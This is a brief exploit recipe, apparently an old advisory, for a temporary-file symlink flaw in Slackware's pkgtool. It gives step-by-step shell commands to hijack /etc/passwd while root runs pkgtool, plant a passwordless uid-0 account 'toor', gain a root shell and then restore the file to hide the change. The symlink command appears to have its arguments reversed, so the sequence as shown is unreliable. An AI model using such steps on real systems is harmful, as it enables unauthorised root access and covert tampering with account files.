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Slackware pkgtool temporary file Vulnerability

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd